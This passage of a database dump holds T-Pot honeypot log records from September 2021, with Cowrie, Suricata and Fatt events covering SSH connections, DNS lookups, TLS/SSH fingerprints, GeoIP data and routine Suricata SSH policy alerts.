"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26408	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:55.470263+03	2021-09-20 14:15:13.231647+03	{"_id": "4AbnAnwBvYTbRNuExSBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9925, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1273150385630455, "@version": "1", "in_iface": "enp5s0", "src_port": 40875, "dest_port": 53, "timestamp": "2021-09-20T11:11:55.470263Z", "@timestamp": "2021-09-20T11:11:55.470Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26409	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:11:56.448139+03	2021-09-20 14:15:13.232646+03	{"_id": "7AbnAnwBvYTbRNuEySAu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34934, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1930, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1602187830284242, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38508, "timestamp": "2021-09-20T11:11:56.448139Z", "@timestamp": "2021-09-20T11:11:56.448Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26410	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:56.496869+03	2021-09-20 14:15:13.234644+03	{"_id": "7wbnAnwBvYTbRNuEyiBT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34898, "dest_port": 443, "timestamp": "2021-09-20T11:11:56.496869", "@timestamp": "2021-09-20T11:11:56.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26411	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:57.563316+03	2021-09-20 14:15:13.235644+03	{"_id": "9QbnAnwBvYTbRNuEyiD2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34780 (192.168.176.2:22) [session: db27f4f0e0bd]", "session": "db27f4f0e0bd", "@version": "1", "protocol": "ssh", "src_port": 34780, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.563316Z", "@timestamp": "2021-09-20T11:11:57.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26412	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:57.842188+03	2021-09-20 14:15:13.237645+03	{"_id": "_AbnAnwBvYTbRNuEzSAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 82488814558099, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34780, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.842188Z", "@timestamp": "2021-09-20T11:11:57.842Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26413	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:11:57.856976+03	2021-09-20 14:15:13.238646+03	{"_id": "_QbnAnwBvYTbRNuEzSAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "flow_id": 1257501672433916, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38944, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.856976Z", "@timestamp": "2021-09-20T11:11:57.856Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26414	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:57.857123+03	2021-09-20 14:15:13.239645+03	{"_id": "AQbnAnwBvYTbRNuEziE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.192.44.134", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38944, "timestamp": "2021-09-20T11:11:57.857123", "@timestamp": "2021-09-20T11:11:57.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26415	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:11:50.17614+03	2021-09-20 14:15:13.240646+03	{"_id": "vAbnAnwBvYTbRNuEsSC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.48.54.8414141109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "flow_id": 1184004044053623, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61221, "dest_port": 22, "timestamp": "2021-09-20T11:11:50.176140Z", "@timestamp": "2021-09-20T11:11:50.176Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26416	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:51.100856+03	2021-09-20 14:15:13.242644+03	{"_id": "vwbnAnwBvYTbRNuEsiDh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48864, "dest_port": 22, "timestamp": "2021-09-20T11:11:51.100856", "@timestamp": "2021-09-20T11:11:51.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26417	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:50.819259+03	2021-09-20 14:15:13.243645+03	{"_id": "wAbnAnwBvYTbRNuEsyCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48864 (192.168.176.2:22) [session: 7fe0b4e65ce8]", "session": "7fe0b4e65ce8", "@version": "1", "protocol": "ssh", "src_port": 48864, "dest_port": 22, "timestamp": "2021-09-20T11:11:50.819259Z", "@timestamp": "2021-09-20T11:11:50.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26418	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:11:54.67369+03	2021-09-20 14:15:13.245645+03	{"_id": "zwbnAnwBvYTbRNuEwSBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:54.602488+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2013134595961208, "payload": "AAADHAkUFFhVWLIOh7KXkM8hD+U1FgAAAHFjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAVWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIAAABVYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxjaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cgAAAEJobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABCaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAVHfarKlIBFis=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42726, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:54.673690Z", "@timestamp": "2021-09-20T11:11:54.673Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......XUX.......!..5....qcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.................*R..+"}}	1	\N	\N	alert	known attacker	\N
26426	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:53.160286+03	2021-09-20 14:15:13.256647+03	{"_id": "ygbnAnwBvYTbRNuEuyBS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3dde340ea2c9", "@version": "1", "duration": 3.80720591545105, "timestamp": "2021-09-20T11:11:53.160286Z", "@timestamp": "2021-09-20T11:11:53.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26419	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:54.639195+03	2021-09-20 14:15:13.247644+03	{"_id": "0AbnAnwBvYTbRNuEwiCB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.198.1", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42726, "timestamp": "2021-09-20T11:11:54.639195", "@timestamp": "2021-09-20T11:11:54.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26420	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:11:50.176232+03	2021-09-20 14:15:13.249647+03	{"_id": "uwbnAnwBvYTbRNuEsSC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.48.54.8414141109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:49.810103+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1184004044053623, "payload": "AAAAVC4eAAAAIP+uLK00kZVVjHdlWthKB93Y0t/1p1luEmLPwkZASo4ddII5lfIj71PvTAphDckeho6fZnV5EsD10Y9I+1GKOZFKaC8PxxglVS0pGBlysg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61221, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:50.176232Z", "@timestamp": "2021-09-20T11:11:50.176Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ..,.4..U.weZ.J.......Yn.b..F@J..t.9..#.S.L\\na\\r.....fuy.....H.Q.9.Jh/...%U-)..r."}}	1	\N	\N	alert	\N	\N
